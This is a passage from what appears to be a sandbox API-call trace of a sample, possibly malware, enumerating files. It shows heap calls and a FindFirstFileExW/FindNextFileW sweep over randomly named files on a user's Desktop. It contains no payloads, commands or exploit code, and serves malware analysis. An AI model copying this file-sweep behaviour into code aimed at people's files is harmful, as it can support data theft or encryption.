BaseAddress=0x12efde8) returned 1 [0090.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.562] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4e18 [0090.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f0558 [0090.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cf9eb70, ftCreationTime.dwHighDateTime=0x1d5b896, ftLastAccessTime.dwLowDateTime=0x107cb5a0, ftLastAccessTime.dwHighDateTime=0x1d5c558, ftLastWriteTime.dwLowDateTime=0x107cb5a0, ftLastWriteTime.dwHighDateTime=0x1d5c558, nFileSizeHigh=0x0, nFileSizeLow=0x1422b, dwReserved0=0x0, dwReserved1=0x0, cFileName="cBxrX3ej_96FC.mkv", cAlternateFileName="")) returned 1 [0090.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4e38 [0090.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f05e0 [0090.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.566] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c8a8740, ftCreationTime.dwHighDateTime=0x1d5b5b6, ftLastAccessTime.dwLowDateTime=0x792ab2d0, ftLastAccessTime.dwHighDateTime=0x1d5b93e, ftLastWriteTime.dwLowDateTime=0x792ab2d0, ftLastWriteTime.dwHighDateTime=0x1d5b93e, nFileSizeHigh=0x0, nFileSizeLow=0x42f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CnBcCukRenA.pps", cAlternateFileName="")) returned 1 [0090.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4e58 [0090.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f0668 [0090.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.567] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4e78 [0090.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f06f0 [0090.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.569] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf927ec90, ftCreationTime.dwHighDateTime=0x1d5b769, ftLastAccessTime.dwLowDateTime=0x1e0b8490, ftLastAccessTime.dwHighDateTime=0x1d5c10b, ftLastWriteTime.dwLowDateTime=0x1e0b8490, ftLastWriteTime.dwHighDateTime=0x1d5c10b, nFileSizeHigh=0x0, nFileSizeLow=0x1ad5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DKxldbknImfp9PM.bmp", cAlternateFileName="")) returned 1 [0090.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4e98 [0090.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6e8ac0, ftCreationTime.dwHighDateTime=0x1d5b94d, ftLastAccessTime.dwLowDateTime=0x68ab9320, ftLastAccessTime.dwHighDateTime=0x1d5c0eb, ftLastWriteTime.dwLowDateTime=0x68ab9320, ftLastWriteTime.dwHighDateTime=0x1d5c0eb, nFileSizeHigh=0x0, nFileSizeLow=0xad9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eD3U-nkwGn12.mkv", cAlternateFileName="")) returned 1 [0090.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cb3c190, ftCreationTime.dwHighDateTime=0x1d5ba6d, ftLastAccessTime.dwLowDateTime=0xe604ecc0, ftLastAccessTime.dwHighDateTime=0x1d5b9d6, ftLastWriteTime.dwLowDateTime=0xe604ecc0, ftLastWriteTime.dwHighDateTime=0x1d5b9d6, nFileSizeHigh=0x0, nFileSizeLow=0xb9a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="esYikCpSCv.flv", cAlternateFileName="")) returned 1 [0090.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5083e90, ftCreationTime.dwHighDateTime=0x1d5bb00, ftLastAccessTime.dwLowDateTime=0xab0e5800, ftLastAccessTime.dwHighDateTime=0x1d5be76, ftLastWriteTime.dwLowDateTime=0xab0e5800, ftLastWriteTime.dwHighDateTime=0x1d5be76, nFileSizeHigh=0x0, nFileSizeLow=0x7917, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ff5N_ KIxSerJInLKyK.bmp", cAlternateFileName="")) returned 1 [0090.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e2b8cb0, ftCreationTime.dwHighDateTime=0x1d5bf7e, ftLastAccessTime.dwLowDateTime=0x8b1f22d0, ftLastAccessTime.dwHighDateTime=0x1d5b9f4, ftLastWriteTime.dwLowDateTime=0x8b1f22d0, ftLastWriteTime.dwHighDateTime=0x1d5b9f4, nFileSizeHigh=0x0, nFileSizeLow=0xcdf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="gBhlkGk.m4a", cAlternateFileName="")) returned 1 [0090.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3104a0c0, ftCreationTime.dwHighDateTime=0x1d5bbd6, ftLastAccessTime.dwLowDateTime=0xecce6b0, ftLastAccessTime.dwHighDateTime=0x1d5be9d, ftLastWriteTime.dwLowDateTime=0xecce6b0, ftLastWriteTime.dwHighDateTime=0x1d5be9d, nFileSizeHigh=0x0, nFileSizeLow=0x10acc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ggBmcap.png", cAlternateFileName="")) returned 1 [0090.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdfc05c0, ftCreationTime.dwHighDateTime=0x1d5b610, ftLastAccessTime.dwLowDateTime=0xfaf74d40, ftLastAccessTime.dwHighDateTime=0x1d5bbba, ftLastWriteTime.dwLowDateTime=0xfaf74d40, ftLastWriteTime.dwHighDateTime=0x1d5bbba, nFileSizeHigh=0x0, nFileSizeLow=0x1dc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IS232v3zCb07kwa9_3.swf", cAlternateFileName="")) returned 1 [0090.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3973a3d0, ftCreationTime.dwHighDateTime=0x1d5b70f, ftLastAccessTime.dwLowDateTime=0x59ac41b0, ftLastAccessTime.dwHighDateTime=0x1d5bffd, ftLastWriteTime.dwLowDateTime=0x59ac41b0, ftLastWriteTime.dwHighDateTime=0x1d5bffd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="k8HQvfHA2L3zlCZm_P2h", cAlternateFileName="")) returned 1 [0090.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702f9f90, ftCreationTime.dwHighDateTime=0x1d5c55c, ftLastAccessTime.dwLowDateTime=0x3c3e610, ftLastAccessTime.dwHighDateTime=0x1d5bfba, ftLastWriteTime.dwLowDateTime=0x3c3e610, ftLastWriteTime.dwHighDateTime=0x1d5bfba, nFileSizeHigh=0x0, nFileSizeLow=0x705d, dwReserved0=0x0, dwReserved1=0x0, cFileName="kLGG2k3NDcFRjX36CI.flv", cAlternateFileName="")) returned 1 [0090.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e268d0, ftCreationTime.dwHighDateTime=0x1d5c09f, ftLastAccessTime.dwLowDateTime=0xd9cc1930, ftLastAccessTime.dwHighDateTime=0x1d5b786, ftLastWriteTime.dwLowDateTime=0xd9cc1930, ftLastWriteTime.dwHighDateTime=0x1d5b786, nFileSizeHigh=0x0, nFileSizeLow=0x1584a, dwReserved0=0x0, dwReserved1=0x0, cFileName="kZ6K0k82 YWzJk_.gif", cAlternateFileName="")) returned 1 [0090.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0962dd0, ftCreationTime.dwHighDateTime=0x1d5c331, ftLastAccessTime.dwLowDateTime=0x3ee0a1f0, ftLastAccessTime.dwHighDateTime=0x1d5c606, ftLastWriteTime.dwLowDateTime=0x3ee0a1f0, ftLastWriteTime.dwHighDateTime=0x1d5c606, nFileSizeHigh=0x0, nFileSizeLow=0xe791, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lt DlLig.jpg", cAlternateFileName="")) returned 1 [0090.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe65c6da0, ftCreationTime.dwHighDateTime=0x1d5bd2e, ftLastAccessTime.dwLowDateTime=0x7df68410, ftLastAccessTime.dwHighDateTime=0x1d5b880, ftLastWriteTime.dwLowDateTime=0x7df68410, ftLastWriteTime.dwHighDateTime=0x1d5b880, nFileSizeHigh=0x0, nFileSizeLow=0x161f, dwReserved0=0x0, dwReserved1=0x0, cFileName="meBU8u1X_loqW.pptx", cAlternateFileName="")) returned 1 [0090.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9328430, ftCreationTime.dwHighDateTime=0x1d5becc, ftLastAccessTime.dwLowDateTime=0x9ac346a0, ftLastAccessTime.dwHighDateTime=0x1d5b9ac, ftLastWriteTime.dwLowDateTime=0x9ac346a0, ftLastWriteTime.dwHighDateTime=0x1d5b9ac, nFileSizeHigh=0x0, nFileSizeLow=0xc86e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OkkXId2d.wav", cAlternateFileName="")) returned 1 [0090.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf422840, ftCreationTime.dwHighDateTime=0x1d5c333, ftLastAccessTime.dwLowDateTime=0x57211690, ftLastAccessTime.dwHighDateTime=0x1d5b9f5, ftLastWriteTime.dwLowDateTime=0x57211690, ftLastWriteTime.dwHighDateTime=0x1d5b9f5, nFileSizeHigh=0x0, nFileSizeLow=0x17f2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="QB3o.gif", cAlternateFileName="")) returned 1 [0090.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbabbd20, ftCreationTime.dwHighDateTime=0x1d5c454, ftLastAccessTime.dwLowDateTime=0xba258800, ftLastAccessTime.dwHighDateTime=0x1d5c0f5, ftLastWriteTime.dwLowDateTime=0xba258800, ftLastWriteTime.dwHighDateTime=0x1d5c0f5, nFileSizeHigh=0x0, nFileSizeLow=0xe9a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="tlrg-MxsLN.m4a", cAlternateFileName="")) returned 1 [0090.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab4814c0, ftCreationTime.dwHighDateTime=0x1d5b767, ftLastAccessTime.dwLowDateTime=0xc3fd77c0, ftLastAccessTime.dwHighDateTime=0x1d5bd1c, ftLastWriteTime.dwLowDateTime=0xc3fd77c0, ftLastWriteTime.dwHighDateTime=0x1d5bd1c, nFileSizeHigh=0x0, nFileSizeLow=0x13fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="u269Lm1mC.png", cAlternateFileName="")) returned 1 [0090.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc367000, ftCreationTime.dwHighDateTime=0x1d5ba4d, ftLastAccessTime.dwLowDateTime=0xdbb7e210, ftLastAccessTime.dwHighDateTime=0x1d5c357, ftLastWriteTime.dwLowDateTime=0xdbb7e210, ftLastWriteTime.dwHighDateTime=0x1d5c357, nFileSizeHigh=0x0, nFileSizeLow=0x16864, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucIcgYprI-p.m4a", cAlternateFileName="")) returned 1 [0090.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf396d530, ftCreationTime.dwHighDateTime=0x1d5c09b, ftLastAccessTime.dwLowDateTime=0xbe86be70, ftLastAccessTime.dwHighDateTime=0x1d5bc43, ftLastWriteTime.dwLowDateTime=0xbe86be70, ftLastWriteTime.dwHighDateTime=0x1d5bc43, nFileSizeHigh=0x0, nFileSizeLow=0x6d21, dwReserved0=0x0, dwReserved1=0x0, cFileName="UJp3.flv", cAlternateFileName="")) returned 1 [0090.572] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bc2e6a0, ftCreationTime.dwHighDateTime=0x1d5ba4c, ftLastAccessTime.dwLowDateTime=0x6a54e190, ftLastAccessTime.dwHighDateTime=0x1d5bd62, ftLastWriteTime.dwLowDateTime=0x6a54e190, ftLastWriteTime.dwHighDateTime=0x1d5bd62, nFileSizeHigh=0x0, nFileSizeLow=0x9111, dwReserved0=0x0, dwReserved1=0x0, cFileName="ulXSe.jpg", cAlternateFileName="")) returned 1 [0090.572] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50eebec0, ftCreationTime.dwHighDateTime=0x1d5bb27, ftLastAccessTime.dwLowDateTime=0xf42ebd0, ftLastAccessTime.dwHighDateTime=0x1d5c294, ftLastWriteTime.dwLowDateTime=0xf42ebd0, ftLastWriteTime.dwHighDateTime=0x1d5c294, nFileSizeHigh=0x0, nFileSizeLow=0x4492, dwReserved0=0x0, dwReserved1=0x0, cFileName="VsFGaID.m4a", cAlternateFileName="")) returned 1 [0090.572] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11514b60, ftCreationTime.dwHighDateTime=0x1d5c3f2, ftLastAccessTime.dwLowDateTime=0xd46a1b40, ftLastAccessTime.dwHighDateTime=0x1d5c230, ftLastWriteTime.dwLowDateTime=0xd46a1b40, ftLastWriteTime.dwHighDateTime=0x1d5c230, nFileSizeHigh=0x0, nFileSizeLow=0x25d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="xDEnUyU9-.mkv", cAlternateFileName="")) returned 1 [0090.572] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4e0c0, ftCreationTime.dwHighDateTime=0x1d5c11d, ftLastAccessTime.dwLowDateTime=0xce29c460, ftLastAccessTime.dwHighDateTime=0x1d5c44c, ftLastWriteTime.dwLowDateTime=0xce29c460, ftLastWriteTime.dwHighDateTime=0x1d5c44c, nFileSizeHigh=0x0, nFileSizeLow=0xfe94, dwReserved0=0x0, dwReserved1=0x0, cFileName="XnONB.gif", cAlternateFileName="")) returned 1 [0090.572] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82cbc90, ftCreationTime.dwHighDateTime=0x1d5b8c9, ftLastAccessTime.dwLowDateTime=0xf5ee97d0, ftLastAccessTime.dwHighDateTime=0x1d5bf9e, ftLastWriteTime.dwLowDateTime=0xf5ee97d0, ftLastWriteTime.dwHighDateTime=0x1d5bf9e, nFileSizeHigh=0x0, nFileSizeLow=0x11854, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y0pZi 3LrEwW9.m4a", cAlternateFileName="")) returned 1 [0090.572] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f1ebdd0, ftCreationTime.dwHighDateTime=0x1d5b94c, ftLastAccessTime.dwLowDateTime=0xc2e80b60, ftLastAccessTime.dwHighDateTime=0x1d5b7d2, ftLastWriteTime.dwLowDateTime=0xc2e80b60, ftLastWriteTime.dwHighDateTime=0x1d5b7d2, nFileSizeHigh=0x0, nFileSizeLow=0xedac, dwReserved0=0x0, dwReserved1=0x0, cFileName="yiP3-v.wav", cAlternateFileName="")) returned 1 [0090.572] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f1ebdd0, ftCreationTime.dwHighDateTime=0x1d5b94c, ftLastAccessTime.dwLowDateTime=0xc2e80b60, ftLastAccessTime.dwHighDateTime=0x1d5b7d2, ftLastWriteTime.dwLowDateTime=0xc2e80b60, ftLastWriteTime.dwHighDateTime=0x1d5b7d2, nFileSizeHigh=0x0, nFileSizeLow=0xedac, dwReserved0=0x0, dwReserved1=0x0, cFileName="yiP3-v.wav", cAlternateFileName="")) returned 0 [0090.572] GetLastError () returned 0x12 [0090.572] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0090.572] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0090.572] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x614f24d0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x614f24d0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.572] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2250d7a0, ftCreationTime.dwHighDateTime=0x1d5c4f6, ftLastAccessTime.dwLowDateTime=0x3fbeff90, ftLastAccessTime.dwHighDateTime=0x1d5c5fc, ftLastWriteTime.dwLowDateTime=0x3fbeff90, ftLastWriteTime.dwHighDateTime=0x1d5c5fc, nFileSizeHigh=0x0, nFileSizeLow=0x25b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="-7vJz7wYSu_l2o29jFE.wav", cAlternateFileName="")) returned 1 [0090.572] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f8fcc80, ftCreationTime.dwHighDateTime=0x1d5baa1, ftLastAccessTime.dwLowDateTime=0xe5302a60, ftLastAccessTime.dwHighDateTime=0x1d5c4c8, ftLastWriteTime.dwLowDateTime=0xe5302a60, ftLastWriteTime.dwHighDateTime=0x1d5c4c8, nFileSizeHigh=0x0, nFileSizeLow=0x1499a, dwReserved0=0x0, dwReserved1=0x0, cFileName="2QO4JoKkMPrvQJdV6P.mp3", cAlternateFileName="")) returned 1 [0090.572] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53a71f40, ftCreationTime.dwHighDateTime=0x1d5bfcd, ftLastAccessTime.dwLowDateTime=0x9445bad0, ftLastAccessTime.dwHighDateTime=0x1d5b595, ftLastWriteTime.dwLowDateTime=0x9445bad0, ftLastWriteTime.dwHighDateTime=0x1d5b595, nFileSizeHigh=0x0, nFileSizeLow=0x1d73, dwReserved0=0x0, dwReserved1=0x0, cFileName="46pAR3t.gif", cAlternateFileName="")) returned 1 [0090.572] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3204fea0, ftCreationTime.dwHighDateTime=0x1d5b845, ftLastAccessTime.dwLowDateTime=0x104096e0, ftLastAccessTime.dwHighDateTime=0x1d5baab, ftLastWriteTime.dwLowDateTime=0x104096e0, ftLastWriteTime.dwHighDateTime=0x1d5baab, nFileSizeHigh=0x0, nFileSizeLow=0x12c1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="5dzV.png", cAlternateFileName="")) returned 1 [0090.572] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b3d4740, ftCreationTime.dwHighDateTime=0x1d5bc67, ftLastAccessTime.dwLowDateTime=0xb6f83820, ftLastAccessTime.dwHighDateTime=0x1d5c08d, ftLastWriteTime.dwLowDateTime=0xb6f83820, ftLastWriteTime.dwHighDateTime=0x1d5c08d, nFileSizeHigh=0x0, nFileSizeLow=0x294f, dwReserved0=0x0, dwReserved1=0x0, cFileName="7ly1zzHro QX.avi", cAlternateFileName="")) returned 1 [0090.572] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x826e93e0, ftCreationTime.dwHighDateTime=0x1d5bb8f, ftLastAccessTime.dwLowDateTime=0x21d14570, ftLastAccessTime.dwHighDateTime=0x1d5c1d7, ftLastWriteTime.dwLowDateTime=0x21d14570, ftLastWriteTime.dwHighDateTime=0x1d5c1d7, nFileSizeHigh=0x0, nFileSizeLow=0x13015, dwReserved0=0x0, dwReserved1=0x0, cFileName="7onfaCEdf3glnh.bmp", cAlternateFileName="")) returned 1 [0090.573] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aeed850, ftCreationTime.dwHighDateTime=0x1d5b963, ftLastAccessTime.dwLowDateTime=0xbffff7c0, ftLastAccessTime.dwHighDateTime=0x1d5c0b3, ftLastWriteTime.dwLowDateTime=0xbffff7c0, ftLastWriteTime.dwHighDateTime=0x1d5c0b3, nFileSizeHigh=0x0, nFileSizeLow=0xe329, dwReserved0=0x0, dwReserved1=0x0, cFileName="C0j --9LQK.wav", cAlternateFileName="")) returned 1 [0090.573] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cf9eb70, ftCreationTime.dwHighDateTime=0x1d5b896, ftLastAccessTime.dwLowDateTime=0x107cb5a0, ftLastAccessTime.dwHighDateTime=0x1d5c558, ftLastWriteTime.dwLowDateTime=0x107cb5a0, ftLastWriteTime.dwHighDateTime=0x1d5c558, nFileSizeHigh=0x0, nFileSizeLow=0x1422b, dwReserved0=0x0, dwReserved1=0x0, cFileName="cBxrX3ej_96FC.mkv", cAlternateFileName="")) returned 1 [0090.573] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c8a8740, ftCreationTime.dwHighDateTime=0x1d5b5b6, ftLastAccessTime.dwLowDateTime=0x792ab2d0, ftLastAccessTime.dwHighDateTime=0x1d5b93e, ftLastWriteTime.dwLowDateTime=0x792ab2d0, ftLastWriteTime.dwHighDateTime=0x1d5b93e, nFileSizeHigh=0x0, nFileSizeLow=0x42f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CnBcCukRenA.pps", cAlternateFileName="")) returned 1 [0090.573] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.573] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf927ec90, ftCreationTime.dwHighDateTime=0x1d5b769, ftLastAccessTime.dwLowDateTime=0x1e0b8490, 